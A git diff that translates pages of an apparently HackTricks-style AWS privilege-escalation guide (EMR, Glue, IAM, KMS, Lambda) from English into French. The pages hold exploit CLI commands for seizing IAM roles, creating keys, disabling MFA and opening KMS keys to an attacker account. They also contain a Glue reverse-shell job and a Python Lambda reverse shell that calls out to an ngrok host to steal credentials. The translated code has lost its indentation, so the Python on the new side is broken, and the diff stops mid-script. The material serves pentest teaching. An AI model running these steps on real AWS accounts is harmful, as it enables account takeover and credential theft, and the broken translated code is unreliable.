-Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
-
-**Potential Impact:** Privesc to the EC2 service role specified.
+**Impact potentiel :** Privesc au rôle de service EC2 spécifié.
 
 ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
 
-With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role.
+Avec ces autorisations, un attaquant peut accéder à la **console AWS**, créer un Notebook et y accéder pour voler le rôle IAM.
 
 > [!CAUTION]
-> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related.
+> Même si vous attachez un rôle IAM à l'instance de notebook, dans mes tests, j'ai remarqué que j'étais capable de voler des identifiants gérés par AWS et non des identifiants liés au rôle IAM.
 
-**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+**Impact potentiel :** Privesc au rôle géré par AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
 
 ### `elasticmapreduce:OpenEditorInConsole`
 
-Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\
-The URL of the notebook is `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
+Juste avec cette autorisation, un attaquant pourra accéder au **Jupyter Notebook et voler le rôle IAM** qui lui est associé.\
+L'URL du notebook est `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
 
 > [!CAUTION]
-> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related
+> Même si vous attachez un rôle IAM à l'instance de notebook, dans mes tests, j'ai remarqué que j'étais capable de voler des identifiants gérés par AWS et non des identifiants liés au rôle IAM.
 
-**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+**Impact potentiel :** Privesc au rôle géré par AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index b40cdf413..892d94fb3 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -4,19 +4,13 @@
 
 ### `gamelift:RequestUploadCredentials`
 
-With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**.
-
+Avec cette autorisation, un attaquant peut récupérer un **nouveau jeu de credentials à utiliser lors du téléchargement** d'un nouvel ensemble de fichiers de construction de jeu vers Amazon GameLift's Amazon S3. Cela renverra des **credentials de téléchargement S3**.
 ```bash
 aws gamelift request-upload-credentials \
-    --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
+--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
 ```
-
-## References
+## Références
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index 049d3b273..dfe9e5df4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -6,15 +6,14 @@
 
 ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-Users with these permissions can **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** with specific permissions to this endpoint.
-
-After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role:
+Les utilisateurs disposant de ces autorisations peuvent **configurer un nouveau point de terminaison de développement AWS Glue**, **en assignant un rôle de service existant pouvant être assumé par Glue** avec des autorisations spécifiques à ce point de terminaison.
 
+Après la configuration, l'**attaquant peut SSH dans l'instance du point de terminaison**, et voler les identifiants IAM du rôle assigné :
 ```bash
 # Create endpoint
 aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
-    --role-arn <arn-role> \
-    --public-key file:///ssh/key.pub
+--role-arn <arn-role> \
+--public-key file:///ssh/key.pub
 
 # Get the public address of the instance
 ## You could also use get-dev-endpoints
@@ -23,19 +22,17 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
+Pour des raisons de discrétion, il est recommandé d'utiliser les identifiants IAM depuis l'intérieur de la machine virtuelle Glue.
 
-For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine.
-
-**Potential Impact:** Privesc to the glue service role specified.
+**Impact potentiel :** Privesc au rôle de service Glue spécifié.
 
 ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role:
-
+Les utilisateurs disposant de cette autorisation peuvent **modifier la clé SSH d'un point de terminaison de développement Glue** existant, **permettant l'accès SSH à celui-ci**. Cela permet à l'attaquant d'exécuter des commandes avec les privilèges du rôle attaché au point de terminaison :
 ```bash
 # Change public key to connect
 aws glue --endpoint-name target_endpoint \
-    --public-key file:///ssh/key.pub
+--public-key file:///ssh/key.pub
 
 # Get the public address of the instance
 ## You could also use get-dev-endpoints
@@ -44,13 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-
-**Potential Impact:** Privesc to the glue service role used.
+**Impact potentiel :** Privesc au rôle de service glue utilisé.
 
 ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
 
-Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:UpdateJob`**, and either **`glue:StartJobRun` or `glue:CreateTrigger`** can **create or update an AWS Glue job**, attaching any **Glue service account**, and initiate the job's execution. The job's capabilities include running arbitrary Python code, which can be exploited to establish a reverse shell. This reverse shell can then be utilized to exfiltrate the **IAM credential**s of the role attached to the Glue job, leading to potential unauthorized access or actions based on the permissions of that role:
-
+Les utilisateurs avec **`iam:PassRole`** combiné avec soit **`glue:CreateJob` ou `glue:UpdateJob`**, et soit **`glue:StartJobRun` ou `glue:CreateTrigger`** peuvent **créer ou mettre à jour un job AWS Glue**, en attachant n'importe quel **compte de service Glue**, et initier l'exécution du job. Les capacités du job incluent l'exécution de code Python arbitraire, qui peut être exploité pour établir un shell inversé. Ce shell inversé peut ensuite être utilisé pour exfiltrer les **identifiants IAM** du rôle attaché au job Glue, conduisant à un accès ou des actions non autorisées basées sur les permissions de ce rôle :
 ```bash
 # Content of the python script saved in s3:
 #import socket,subprocess,os
@@ -65,32 +60,27 @@ Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:U
 
 # A Glue role with admin access was created
 aws glue create-job \
-    --name privesctest \
-    --role arn:aws:iam::93424712358:role/GlueAdmin \
-    --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
+--name privesctest \
+--role arn:aws:iam::93424712358:role/GlueAdmin \
+--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
 
 # You can directly start the job
 aws glue start-job-run --job-name privesctest
 # Or you can create a trigger to start it
 aws glue create-trigger --name triggerprivesc --type SCHEDULED \
-    --actions '[{"JobName": "privesctest"}]' --start-on-creation \
-    --schedule "0/5 * * * * *"  #Every 5mins, feel free to change
+--actions '[{"JobName": "privesctest"}]' --start-on-creation \
+--schedule "0/5 * * * * *"  #Every 5mins, feel free to change
 ```
-
-**Potential Impact:** Privesc to the glue service role specified.
+**Impact potentiel :** Privesc au rôle de service glue spécifié.
 
 ### `glue:UpdateJob`
 
-Just with the update permission an attacked could steal the IAM Credentials of the already attached role.
+Juste avec la permission de mise à jour, un attaquant pourrait voler les identifiants IAM du rôle déjà attaché.
 
-**Potential Impact:** Privesc to the glue service role attached.
+**Impact potentiel :** Privesc au rôle de service glue attaché.
 
-## References
+## Références
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index 7807f6152..5e043e807 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -4,7 +4,7 @@
 
 ## IAM
 
-For more info about IAM check:
+Pour plus d'informations sur IAM, consultez :
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
@@ -12,228 +12,189 @@ For more info about IAM check:
 
 ### **`iam:CreatePolicyVersion`**
 
-Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions.
-
-**Exploit Command:**
+Accorde la possibilité de créer une nouvelle version de politique IAM, contournant la nécessité de la permission `iam:SetDefaultPolicyVersion` en utilisant le drapeau `--set-as-default`. Cela permet de définir des permissions personnalisées.
 
+**Commande d'exploitation :**
 ```bash
 aws iam create-policy-version --policy-arn <target_policy_arn> \
-    --policy-document file:///path/to/administrator/policy.json --set-as-default
+--policy-document file:///path/to/administrator/policy.json --set-as-default
 ```
-
-**Impact:** Directly escalates privileges by allowing any action on any resource.
+**Impact :** Élévation directe des privilèges en permettant toute action sur n'importe quelle ressource.
 
 ### **`iam:SetDefaultPolicyVersion`**
 
-Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions.
-
-**Bash Command:**
+Permet de changer la version par défaut d'une politique IAM pour une autre version existante, ce qui peut potentiellement élever les privilèges si la nouvelle version a plus de permissions.
 
+**Bash Command :**
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
-
-**Impact:** Indirect privilege escalation by enabling more permissions.
+**Impact :** Escalade de privilèges indirecte en permettant plus de permissions.
 
 ### **`iam:CreateAccessKey`**
 
-Enables creating access key ID and secret access key for another user, leading to potential privilege escalation.
-
-**Exploit:**
+Permet de créer un identifiant de clé d'accès et une clé d'accès secrète pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges.
 
+**Exploit :**
 ```bash
 aws iam create-access-key --user-name <target_user>
 ```
-
-**Impact:** Direct privilege escalation by assuming another user's extended permissions.
+**Impact :** Escalade de privilèges directe en assumant les permissions étendues d'un autre utilisateur.
 
 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
 
-Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation.
-
-**Exploit for Creation:**
+Permet de créer ou de mettre à jour un profil de connexion, y compris la définition de mots de passe pour la connexion à la console AWS, entraînant une escalade de privilèges directe.
 
+**Exploitation pour la création :**
 ```bash
 aws iam create-login-profile --user-name target_user --no-password-reset-required \
-    --password '<password>'
+--password '<password>'
 ```
-
-**Exploit for Update:**
-
+**Exploitation pour la mise à jour :**
 ```bash
 aws iam update-login-profile --user-name target_user --no-password-reset-required \
-    --password '<password>'
+--password '<password>'
 ```
-
-**Impact:** Direct privilege escalation by logging in as "any" user.
+**Impact :** Escalade de privilèges directe en se connectant en tant que "n'importe quel" utilisateur.
 
 ### **`iam:UpdateAccessKey`**
 
-Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key.
-
-**Exploit:**
+Permet d'activer une clé d'accès désactivée, ce qui peut entraîner un accès non autorisé si l'attaquant possède la clé désactivée.
 
+**Exploit :**
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
-
-**Impact:** Direct privilege escalation by reactivating access keys.
+**Impact :** Escalade de privilèges directe en réactivant des clés d'accès.
 
 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
 
-Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user.
-
-**Exploit for Creation:**
+Permet de générer ou de réinitialiser des identifiants pour des services AWS spécifiques (par exemple, CodeCommit, Amazon Keyspaces), en héritant des autorisations de l'utilisateur associé.
 
+**Exploitation pour la création :**
 ```bash
 aws iam create-service-specific-credential --user-name <username> --service-name <service>
 ```
-
-**Exploit for Reset:**
-
+**Exploitation pour Réinitialiser :**
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
-
-**Impact:** Direct privilege escalation within the user's service permissions.
+**Impact :** Escalade directe des privilèges au sein des permissions de service de l'utilisateur.
 
 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
 
-Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy.
-
-**Exploit for User:**
+Permet d'attacher des politiques à des utilisateurs ou des groupes, escaladant directement les privilèges en héritant des permissions de la politique attachée.
 
+**Exploitation pour l'utilisateur :**
 ```bash
 aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```
-
-**Exploit for Group:**
-
+**Exploitation pour le groupe :**
 ```bash
 aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
 ```
-
-**Impact:** Direct privilege escalation to anything the policy grants.
+**Impact :** Escalade de privilèges directe vers tout ce que la politique accorde.
 
 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
 
-Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions.
-
-**Exploit for Role:**
+Permet d'attacher ou de mettre des politiques à des rôles, utilisateurs ou groupes, permettant une escalade de privilèges directe en accordant des permissions supplémentaires.
 
+**Exploitation pour le rôle :**
 ```bash
 aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
 ```
-
-**Exploit for Inline Policies:**
-
+**Exploitation des politiques en ligne :**
 ```bash
 aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
-    --policy-document "file:///path/to/policy.json"
+--policy-document "file:///path/to/policy.json"
 
 aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
-    --policy-document file:///path/to/policy.json
+--policy-document file:///path/to/policy.json
 
 aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
-    --policy-document file:///path/to/policy.json
+--policy-document file:///path/to/policy.json
 ```
-
-You can use a policy like:
-
+Vous pouvez utiliser une politique comme :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Action": ["*"],
-      "Resource": ["*"]
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": ["*"],
+"Resource": ["*"]
+}
+]
 }
 ```
-
-**Impact:** Direct privilege escalation by adding permissions through policies.
+**Impact :** Escalade de privilèges directe en ajoutant des permissions via des politiques.
 
 ### **`iam:AddUserToGroup`**
 
-Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions.
-
-**Exploit:**
+Permet de s'ajouter à un groupe IAM, escaladant les privilèges en héritant des permissions du groupe.
 
+**Exploit :**
 ```bash
 aws iam add-user-to-group --group-name <group_name> --user-name <username>
 ```
-
-**Impact:** Direct privilege escalation to the level of the group's permissions.
+**Impact :** Escalade directe des privilèges au niveau des permissions du groupe.
 
 ### **`iam:UpdateAssumeRolePolicy`**
 
-Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions.
-
-**Exploit:**
+Permet de modifier le document de politique d'assumption de rôle d'un rôle, permettant l'assumption du rôle et de ses permissions associées.
 
+**Exploit :**
 ```bash
 aws iam update-assume-role-policy --role-name <role_name> \
-    --policy-document file:///path/to/assume/role/policy.json
+--policy-document file:///path/to/assume/role/policy.json
 ```
-
-Where the policy looks like the following, which gives the user permission to assume the role:
-
+Où la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Action": "sts:AssumeRole",
-      "Principal": {
-        "AWS": "$USER_ARN"
-      }
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sts:AssumeRole",
+"Principal": {
+"AWS": "$USER_ARN"
+}
+}
+]
 }
 ```
-
-**Impact:** Direct privilege escalation by assuming any role's permissions.
+**Impact :** Escalade de privilèges directe en assumant les permissions de n'importe quel rôle.
 
 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
 
-Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation.
-
-**Exploit for SSH Key Upload:**
+Permet de télécharger une clé publique SSH pour s'authentifier à CodeCommit et de désactiver les dispositifs MFA, ce qui peut entraîner une escalade de privilèges indirecte potentielle.
 
+**Exploitation pour le téléchargement de la clé SSH :**
 ```bash
 aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
 ```
-
-**Exploit for MFA Deactivation:**
-
+**Exploitation pour la désactivation de MFA :**
 ```bash
 aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
 ```
-
-**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection.
+**Impact :** Escalade de privilèges indirecte en permettant l'accès à CodeCommit ou en désactivant la protection MFA.
 
 ### **`iam:ResyncMFADevice`**
 
-Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection.
-
-**Bash Command:**
+Permet la resynchronisation d'un appareil MFA, ce qui peut entraîner une escalade de privilèges indirecte en manipulant la protection MFA.
 
+**Bash Command :**
 ```bash
 aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
-    --authentication-code1 <code1> --authentication-code2 <code2>
+--authentication-code1 <code1> --authentication-code2 <code2>
 ```
-
-**Impact:** Indirect privilege escalation by adding or manipulating MFA devices.
+**Impact :** Escalade de privilèges indirecte en ajoutant ou en manipulant des dispositifs MFA.
 
 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
 
-With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it.
-
-Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back
+Avec ces autorisations, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **vous connecter** avec n'importe quel **rôle qui lui fait confiance**.
 
+Notez que faire cela **empêchera les utilisateurs légitimes de se connecter**. Cependant, vous pourriez obtenir le XML, donc vous pouvez mettre le vôtre, vous connecter et configurer le précédent.
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -249,14 +210,12 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
 # Optional: Set the previous XML back
 aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
 ```
-
 > [!NOTE]
-> TODO: A Tool capable of generating the SAML metadata and login with a specified role
+> TODO : Un outil capable de générer les métadonnées SAML et de se connecter avec un rôle spécifié
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
-(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider.
-
+(Pas sûr à ce sujet) Si un attaquant a ces **permissions**, il pourrait ajouter un nouveau **Thumbprint** pour réussir à se connecter à tous les rôles faisant confiance au fournisseur.
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
@@ -265,13 +224,8 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
 # Update Thumbprints (The thumbprint is always a 40-character string)
 aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
 ```
-
-## References
+## Références
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index 02c05b76d..7989bb081 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -4,7 +4,7 @@
 
 ## KMS
 
-For more info about KMS check:
+Pour plus d'informations sur KMS, consultez :
 
 {{#ref}}
 ../aws-services/aws-kms-enum.md
@@ -12,8 +12,7 @@ For more info about KMS check:
 
 ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
 
-With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone:
-
+Avec ces autorisations, il est possible de **modifier les autorisations d'accès à la clé** afin qu'elle puisse être utilisée par d'autres comptes ou même par n'importe qui :
 ```bash
 aws kms list-keys
 aws kms list-key-policies --key-id <id> # Although only 1 max per key
@@ -21,106 +20,91 @@ aws kms get-key-policy --key-id <id> --policy-name <policy_name>
 # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
 aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
 ```
-
 policy.json:
-
 ```json
 {
-  "Version": "2012-10-17",
-  "Id": "key-consolepolicy-3",
-  "Statement": [
-    {
-      "Sid": "Enable IAM User Permissions",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::<origin_account>:root"
-      },
-      "Action": "kms:*",
-      "Resource": "*"
-    },
-    {
-      "Sid": "Allow all use",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::<attackers_account>:root"
-      },
-      "Action": ["kms:*"],
-      "Resource": "*"
-    }
-  ]
+"Version": "2012-10-17",
+"Id": "key-consolepolicy-3",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<origin_account>:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+},
+{
+"Sid": "Allow all use",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<attackers_account>:root"
+},
+"Action": ["kms:*"],
+"Resource": "*"
+}
+]
 }
 ```
-
 ### `kms:CreateGrant`
 
-It **allows a principal to use a KMS key:**
-
+Il **permet à un principal d'utiliser une clé KMS :**
 ```bash
 aws kms create-grant \
-    --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
-    --grantee-principal arn:aws:iam::123456789012:user/exampleUser \
-    --operations Decrypt
+--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
+--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
+--operations Decrypt
 ```
+> [!WARNING]
+> Un accord ne peut autoriser que certains types d'opérations : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
 
 > [!WARNING]
-> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-> [!WARNING]
-> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\
-> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\
-> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
-
+> Notez qu'il peut falloir quelques minutes pour que KMS **permette à l'utilisateur d'utiliser la clé après que l'accord a été généré**. Une fois ce délai écoulé, le principal peut utiliser la clé KMS sans avoir besoin de spécifier quoi que ce soit.\
+> Cependant, s'il est nécessaire d'utiliser l'accord immédiatement [utilisez un jeton d'accord](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (voir le code suivant).\
+> Pour [**plus d'infos lisez ceci**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
 ```bash
 # Use the grant token in a request
 aws kms generate-data-key \
-    --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
-    –-key-spec AES_256 \
-    --grant-tokens $token
+--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
+–-key-spec AES_256 \
+--grant-tokens $token
 ```
-
-Note that it's possible to list grant of keys with:
-
+Notez qu'il est possible de lister les attributions de clés avec :
 ```bash
 aws kms list-grants --key-id <value>
 ```
-
 ### `kms:CreateKey`, `kms:ReplicateKey`
 
-With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy.
-
-So, an attacker could abuse this to obtain privesc his access to the key and use it
+Avec ces autorisations, il est possible de répliquer une clé KMS activée pour plusieurs régions dans une autre région avec une politique différente.
 
+Ainsi, un attaquant pourrait en abuser pour obtenir un accès privilégié à la clé et l'utiliser.
 ```bash
 aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
 
 {
-    "Version": "2012-10-17",
-    "Id": "key-consolepolicy-3",
-    "Statement": [
-        {
-            "Sid": "Enable IAM User Permissions",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "*"
-            },
-            "Action": "kms:*",
-            "Resource": "*"
-        }
-    ]
+"Version": "2012-10-17",
+"Id": "key-consolepolicy-3",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
 }
 ```
-
 ### `kms:Decrypt`
 
-This permission allows to use a key to decrypt some information.\
-For more information check:
+Cette permission permet d'utiliser une clé pour déchiffrer des informations.\
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-post-exploitation/aws-kms-post-exploitation.md
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index d276ef737..ac8407654 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -4,7 +4,7 @@
 
 ## lambda
 
-More info about lambda in:
+Plus d'infos sur lambda dans :
 
 {{#ref}}
 ../aws-services/aws-lambda-enum.md
@@ -12,23 +12,22 @@ More info about lambda in:
 
 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
 
-Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\
-They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\
-Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\
-
-A attacker could abuse this to get a **rev shell and steal the token**:
+Les utilisateurs ayant les permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:InvokeFunction`** peuvent élever leurs privilèges.\
+Ils peuvent **créer une nouvelle fonction Lambda et lui attribuer un rôle IAM existant**, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite **écrire et télécharger du code sur cette fonction Lambda (avec un rev shell par exemple)**.\
+Une fois la fonction configurée, l'utilisateur peut **déclencher son exécution** et les actions prévues en invoquant la fonction Lambda via l'API AWS. Cette approche permet effectivement à l'utilisateur d'effectuer des tâches indirectement via la fonction Lambda, opérant avec le niveau d'accès accordé au rôle IAM qui lui est associé.\\
 
+Un attaquant pourrait abuser de cela pour obtenir un **rev shell et voler le token** :
 ```python:rev.py
 import socket,subprocess,os,time
 def lambda_handler(event, context):
-   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
-   s.connect(('4.tcp.ngrok.io',14305))
-   os.dup2(s.fileno(),0)
-   os.dup2(s.fileno(),1)
-   os.dup2(s.fileno(),2)
-   p=subprocess.call(['/bin/sh','-i'])
-   time.sleep(900)
-   return 0
+s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
+s.connect(('4.tcp.ngrok.io',14305))
+os.dup2(s.fileno(),0)
+os.dup2(s.fileno(),1)
